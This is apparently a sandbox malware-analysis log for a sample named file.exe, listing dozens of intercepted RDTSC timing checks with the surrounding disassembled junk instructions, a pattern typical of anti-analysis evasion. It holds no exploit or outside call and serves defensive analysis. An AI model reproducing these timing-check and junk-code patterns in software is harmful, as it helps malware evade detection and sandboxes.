Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A348C3 second address: A348D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jg 00007F19ECFDC0C6h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A348D0 second address: A348D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A348D6 second address: A348DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A348DA second address: A348DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A371AE second address: A371D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007F19ECFDC0CFh 0x0000000d jmp 00007F19ECFDC0CAh 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36EA8 second address: A36EE2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F19ECFD9946h 0x0000000c jng 00007F19ECFD9936h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F19ECFD9940h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36EE2 second address: A36EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36EE6 second address: A36EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B1B3 second address: A3B1D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F19ECFDC0D5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A884 second address: A3A88B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A9F1 second address: A3A9F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A9F9 second address: A3A9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AB95 second address: A3ABDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F19ECFDC0C6h 0x0000000c jmp 00007F19ECFDC0CDh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jno 00007F19ECFDC0C6h 0x0000001b jmp 00007F19ECFDC0D7h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 js 00007F19ECFDC0CEh 0x00000029 push eax 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3ABDC second address: A3AC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 jmp 00007F19ECFD9945h 0x0000000c jbe 00007F19ECFD9936h 0x00000012 pop esi 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jc 00007F19ECFD9936h 0x0000001c jnc 00007F19ECFD9936h 0x00000022 popad 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3AF0C second address: A3AF21 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F19ECFDC0CCh 0x00000008 jne 00007F19ECFDC0C6h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FE28 second address: A3FE2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FE2C second address: A3FE6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D6h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F19ECFDC0C6h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F19ECFDC0C8h 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F19ECFDC0D0h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3FE6A second address: A3FE6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F2D0 second address: A3F2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F2D4 second address: A3F2E8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F19ECFD993Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F5AC second address: A3F5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jp 00007F19ECFDC0C6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F88F second address: A3F8A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F19ECFD993Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A459C7 second address: A459E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jbe 00007F19ECFDC0C6h 0x0000000c pop ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F19ECFDC0CEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A459E7 second address: A459F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A459F0 second address: A459F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A442E8 second address: A4430F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F19ECFD9971h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F19ECFD9948h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4430F second address: A44326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F19ECFDC0CDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44326 second address: A4432A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4445D second address: A44463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A445D5 second address: A445D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4475E second address: A44774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0CEh 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44774 second address: A4477A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44A2F second address: A44A33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44A33 second address: A44A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFD993Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44A46 second address: A44A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44B89 second address: A44BB3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F19ECFD9943h 0x00000008 jmp 00007F19ECFD993Dh 0x0000000d jmp 00007F19ECFD993Eh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BB3 second address: A44BB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BB9 second address: A44BC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BC3 second address: A44BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BC7 second address: A44BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007F19ECFD9936h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BD7 second address: A44BE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A456D0 second address: A456E4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F19ECFD9936h 0x00000008 jnl 00007F19ECFD9936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A456E4 second address: A456EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A456EA second address: A456EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A456EE second address: A456F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E76C second address: A4E771 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CF15 second address: A4CF59 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F19ECFDC0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F19ECFDC0CAh 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F19ECFDC0D3h 0x0000001e push eax 0x0000001f jmp 00007F19ECFDC0D2h 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4CF59 second address: A4CF8A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F19ECFD9947h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F19ECFD993Ch 0x00000012 jnp 00007F19ECFD9936h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D4F8 second address: A4D514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F19ECFDC0D7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D514 second address: A4D545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F19ECFD9945h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 jmp 00007F19ECFD9940h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D545 second address: A4D54F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F19ECFDC0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D7AF second address: A4D7B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D7B5 second address: A4D7BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D7BB second address: A4D7D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F19ECFD993Ah 0x00000010 push ebx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop ebx 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E0E8 second address: A4E0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E0EC second address: A4E12D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFD993Ah 0x00000007 jmp 00007F19ECFD9948h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007F19ECFD9947h 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4E12D second address: A4E137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F19ECFDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4FC8C second address: A4FC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A520A7 second address: A520B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55F82 second address: A55F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A555F1 second address: A5562B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D5h 0x00000007 js 00007F19ECFDC0C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F19ECFDC0D7h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5562B second address: A5562F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5562F second address: A5563A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55928 second address: A5592D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5592D second address: A55952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F19ECFDC0EDh 0x0000000f je 00007F19ECFDC0C8h 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 jmp 00007F19ECFDC0CBh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5A9DC second address: A5AA02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F19ECFD9936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F19ECFD9946h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A633F8 second address: A63415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D4h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63415 second address: A63419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63419 second address: A63434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a js 00007F19ECFDC0DAh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A63434 second address: A63440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61E6A second address: A61E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69D43 second address: A69D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 pushad 0x0000000a jo 00007F19ECFD9936h 0x00000010 push eax 0x00000011 pop eax 0x00000012 jg 00007F19ECFD9936h 0x00000018 jl 00007F19ECFD9936h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jl 00007F19ECFD9936h 0x00000027 jnc 00007F19ECFD9936h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69D70 second address: A69D7A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F19ECFDC0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69D7A second address: A69D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F19ECFD9941h 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69D9A second address: A69DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A69DA0 second address: A69DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A697C2 second address: A697D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F19ECFDC0D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A697D6 second address: A697DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A697DC second address: A697E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A697E2 second address: A697E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76CD2 second address: A76CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76CD6 second address: A76CED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F19ECFD993Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7AD15 second address: A7AD2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F19ECFDC0D2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7ABCD second address: A7ABD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7ABD1 second address: A7ABF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f jmp 00007F19ECFDC0D1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C844 second address: A7C84C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C84C second address: A7C851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7C9E2 second address: A7CA02 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F19ECFD993Ch 0x00000008 jp 00007F19ECFD9936h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F19ECFD993Bh 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A82F1B second address: A82F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AB74 second address: A8AB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFD9946h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8AB90 second address: A8ABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F19ECFDC0D7h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007F19ECFDC0C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8ABB7 second address: A8ABC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F19ECFD9936h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A9B9 second address: A8A9EB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F19ECFDC0DAh 0x00000008 jmp 00007F19ECFDC0D4h 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jbe 00007F19ECFDC10Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d jno 00007F19ECFDC0C6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A9EB second address: A8A9EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
